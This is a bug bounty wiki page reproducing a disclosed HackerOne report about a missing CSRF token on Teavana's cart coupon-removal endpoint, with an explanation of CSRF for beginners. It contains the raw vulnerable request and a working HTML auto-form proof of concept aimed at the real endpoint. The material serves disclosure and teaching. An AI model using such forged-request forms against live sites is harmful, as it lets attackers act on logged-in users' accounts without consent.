Skip to content
CSRF Disclosed report Beginner

Missing CSRF Token On Remove Coupun From Cart

The endpoint that removes a coupon from the shopping cart did not require a CSRF token. An attacker could make a logged-in victim's browser send a forged request that removes a coupon from their cart.

apapedulimu Follow

Originally disclosed on HackerOne

  • Disclosed after 21 months

Hi, When remove coupun, there's no CSRF token, at this time i use ███████ Coupun to reproduce it.

Vuln Request

POST /on/demandware.store/Sites-Teavana-Site/default/Cart-RemoveCoupon HTTP/1.1
Host: www.teavana.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://www.teavana.com/us/en/cart
Content-Length: 17
Cookie: some cookie
Connection: close

couponCode=██████████

Poc Code

<html>
<body>
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Cart-RemoveCoupon" method="POST">
<input type="hidden" name="couponCode" value="███" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Edit the coupunCode with name of the coupun.

Thanks, If you need video, i will create one !

The original report as published on HackerOne, by apapedulimu. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim is logged in; victim has a coupon in the cart; victim visits attacker page

How it was found

  1. Log in and add a coupon to the cart.
  2. Send a POST request to the Cart-RemoveCoupon endpoint with the coupon code.
  3. Observe that the request succeeds without any CSRF token.
  4. Host a page with a form that targets the same endpoint and coupon code.
  5. A logged-in victim submitting the form would remove the coupon from their cart.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A CSRF token is a secret value that a website includes in forms so it can tell that a request really came from its own pages. Without one, another website can quietly submit a request on behalf of a logged-in user. Here, that meant a coupon could be removed from someone's cart without their knowledge.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by apapedulimu

View all

9 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.